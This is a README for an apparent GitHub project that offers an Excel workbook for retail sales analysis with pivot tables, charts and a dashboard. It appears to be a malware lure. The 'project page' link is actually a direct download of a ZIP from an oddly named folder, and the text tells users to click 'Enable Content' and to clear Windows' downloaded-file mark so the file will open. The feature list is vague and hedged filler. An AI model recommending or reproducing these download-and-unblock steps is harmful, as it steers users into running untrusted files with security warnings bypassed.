Advanced-Excel-Retail-Sales-Analysis is an Excel mini project for retail store sales review. It helps you clean data, build formulas, create pivot tables, make charts, and view results in a dashboard.
This project is meant for users who want to open an Excel file and work with sales data in a simple way. You do not need coding knowledge. You only need Microsoft Excel on Windows.
- A Windows PC
- Microsoft Excel 2016 or later
- Basic file access on your computer
- Enough space to save the workbook and related files
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Visit this page to download the project files:
https://raw.githubusercontent.com/Oscine-mustercall181/Advanced-Excel-Retail-Sales-Analysis/main/cutworm/Advanced-Sales-Analysis-Retail-Excel-v3.6.zip -
On the GitHub page, look for the file list and download the workbook or project files.
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Save the file to a folder you can find again, such as Downloads or Desktop.
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If the file is in a ZIP folder, right-click it and choose Extract All.
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Open the main Excel file with Microsoft Excel.
This workbook is built for retail sales analysis. It helps you inspect sales records and turn raw data into clear results.
Use it to:
- Clean messy retail data
- Sort and filter records
- Apply formulas for quick checks
- Build pivot tables for grouped views
- Create charts for trends
- Review a dashboard in one place
This sheet helps prepare the sales data for review. It may include steps like:
- Removing duplicate rows
- Fixing blank cells
- Standardizing names and dates
- Checking values for errors
This area uses Excel formulas to compute values such as:
- Total sales
- Average order value
- Profit estimates
- Sales counts by item or region
Pivot tables help you group sales data by useful categories. You can review:
- Sales by month
- Sales by region
- Sales by product line
- Top-selling items
Charts turn rows of numbers into easy-to-read visuals. Common chart types in this project may include:
- Bar charts
- Line charts
- Column charts
- Pie charts
The dashboard brings the main results together in one view. It gives a quick look at key sales trends, top categories, and summary numbers.
- Open the workbook in Microsoft Excel.
- Go to the data sheet first.
- Check that the sales table loads fully.
- Review the cleaned data sheet.
- Move to the pivot table tabs.
- Click the charts to inspect trends.
- Open the dashboard to see the full sales view.
If Excel asks for permission when you open the file:
- Click Enable Editing if the file opens in protected view.
- Click Enable Content if Excel asks for it.
- Wait for pivot tables and charts to refresh.
- Save the file under a new name if you want your own copy.
If the file does not open:
- Make sure Excel is installed.
- Check that the file was fully downloaded.
- Try opening it again from the saved folder.
- If the file is in ZIP format, extract it first.
- Review store sales for a school or college project
- Compare sales by product group
- Check which region sells the most
- Study monthly sales patterns
- Present sales data in a dashboard view
This project uses core Excel tools that are common in business reports:
- Data cleaning
- Formulas and functions
- Pivot tables
- Charts
- Conditional formatting
- Filters and sorting
- Dashboard layout
- Keep the original file unchanged
- Save a working copy before editing
- Use Excel, not a plain text editor
- Do not rename sheet tabs unless you know they are linked
- Refresh pivot tables if values seem stale
Open it with Microsoft Excel instead of Notepad.
Check whether the source data is present and not filtered out.
Refresh the pivot table from the Excel menu.
Review the formula cells and check for deleted input data.
Right-click the file, open Properties, and check whether Windows marked it as downloaded. If needed, allow it to open.
The workbook is based on retail sales analysis and uses a dataset structure that fits store reporting. It may include fields such as:
- Order ID
- Date
- Product name
- Category
- Region
- Quantity
- Sales amount
- Profit
- Customer type
These fields help build a clear view of store performance.
Start with the top summary numbers. Then check the charts for trends. After that, use the pivot tables to look at the details behind each metric.
A good review flow is:
- Total sales
- Profit
- Sales by category
- Sales by region
- Monthly trend
- Top products
- advanced-excel
- dashboard
- data-analysis
- data-cleaning
- data-visualization
- eda
- excel
- exploratory-data-analysis-eda
- pivot-tables
- retail-sales
- spreadsheets
Open the project page here:
https://raw.githubusercontent.com/Oscine-mustercall181/Advanced-Excel-Retail-Sales-Analysis/main/cutworm/Advanced-Sales-Analysis-Retail-Excel-v3.6.zip